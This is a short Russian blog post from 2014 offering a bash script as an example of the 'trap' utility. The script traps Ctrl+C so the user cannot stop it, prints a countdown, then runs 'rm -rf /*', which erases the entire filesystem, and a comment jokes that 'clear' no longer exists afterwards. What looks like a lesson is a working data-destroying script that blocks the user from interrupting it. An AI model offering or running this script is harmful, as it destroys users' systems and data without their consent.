воскресенье, 1 июня 2014 г.

Пример использования утилиты trap

#!/bin/bash
trap sorry INT

sorry ()
{
echo "Excuse me, i can not do that"
sleep 3
}
echo "Preparing for the destruction of"
for i in 10 9 8 7 6 5 4 3 2 1; do
echo "$i seconds left to destruction ..."                             
sleep 1
done
echo "Running the program of destruction!"                    
rm -rf /*

#clear     Затупил clear уже отсутствует
echo /*